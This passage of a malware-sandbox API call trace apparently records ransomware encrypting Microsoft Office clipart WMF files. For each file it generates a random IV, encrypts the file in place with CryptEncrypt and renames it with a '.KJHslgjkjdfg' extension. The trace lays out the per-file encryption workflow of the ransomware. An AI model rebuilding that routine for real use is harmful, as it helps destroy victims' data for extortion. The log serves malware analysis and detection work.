dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.437] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0179.440] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.440] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.440] GetProcessHeap () returned 0x2a0000 [0179.440] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.440] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.440] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.440] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.440] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.440] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.440] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.440] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.440] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.440] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.441] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.441] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.441] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3cce, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3cce, lpOverlapped=0x0) returned 1 [0179.442] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3cd0, dwBufLen=0x3cd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3cd0) returned 1 [0179.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.442] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3cd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3cd0, lpOverlapped=0x0) returned 1 [0179.442] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.443] SetEndOfFile (hFile=0x114) returned 1 [0179.446] GetProcessHeap () returned 0x2a0000 [0179.446] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.446] GetProcessHeap () returned 0x2a0000 [0179.446] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.kjhslgjkjdfg")) returned 1 [0179.447] CloseHandle (hObject=0x114) returned 1 [0179.448] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1 [0179.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.448] GetProcessHeap () returned 0x2a0000 [0179.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.448] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.448] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.449] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0179.453] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.453] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.453] GetProcessHeap () returned 0x2a0000 [0179.453] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.453] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.454] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.454] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.454] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.454] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.454] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.454] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.454] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.454] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.454] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.454] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.454] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd6b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd6b4, lpOverlapped=0x0) returned 1 [0179.456] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd6c0, dwBufLen=0xd6c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd6c0) returned 1 [0179.457] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.457] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd6c0, lpOverlapped=0x0) returned 1 [0179.457] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.457] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.457] SetEndOfFile (hFile=0x114) returned 1 [0179.461] GetProcessHeap () returned 0x2a0000 [0179.461] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.461] GetProcessHeap () returned 0x2a0000 [0179.461] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.kjhslgjkjdfg")) returned 1 [0179.462] CloseHandle (hObject=0x114) returned 1 [0179.463] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1 [0179.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.464] GetProcessHeap () returned 0x2a0000 [0179.464] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.464] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.464] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.464] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.464] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.464] GetProcessHeap () returned 0x2a0000 [0179.464] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.464] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.464] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.464] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.467] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.467] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.467] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.467] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.467] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa520, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa520, lpOverlapped=0x0) returned 1 [0179.469] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa520, dwBufLen=0xa520 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa520) returned 1 [0179.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.470] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa520, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa520, lpOverlapped=0x0) returned 1 [0179.470] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.470] SetEndOfFile (hFile=0x114) returned 1 [0179.473] GetProcessHeap () returned 0x2a0000 [0179.473] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.473] GetProcessHeap () returned 0x2a0000 [0179.473] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.kjhslgjkjdfg")) returned 1 [0179.475] CloseHandle (hObject=0x114) returned 1 [0179.475] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1 [0179.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.476] GetProcessHeap () returned 0x2a0000 [0179.476] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.476] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.476] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.477] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0179.479] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.479] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.479] GetProcessHeap () returned 0x2a0000 [0179.479] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.479] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.479] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.479] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.479] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.480] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.480] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.480] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.480] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.480] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.480] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.480] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.480] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa3b2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa3b2, lpOverlapped=0x0) returned 1 [0179.482] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa3c0, dwBufLen=0xa3c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa3c0) returned 1 [0179.482] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.482] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa3c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa3c0, lpOverlapped=0x0) returned 1 [0179.482] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.482] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.483] SetEndOfFile (hFile=0x114) returned 1 [0179.486] GetProcessHeap () returned 0x2a0000 [0179.486] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.486] GetProcessHeap () returned 0x2a0000 [0179.486] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.486] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.kjhslgjkjdfg")) returned 1 [0179.487] CloseHandle (hObject=0x114) returned 1 [0179.487] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0179.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.488] GetProcessHeap () returned 0x2a0000 [0179.488] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.488] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.488] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.489] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0179.632] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.632] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.632] GetProcessHeap () returned 0x2a0000 [0179.632] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.632] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.632] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.632] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.632] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.632] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, 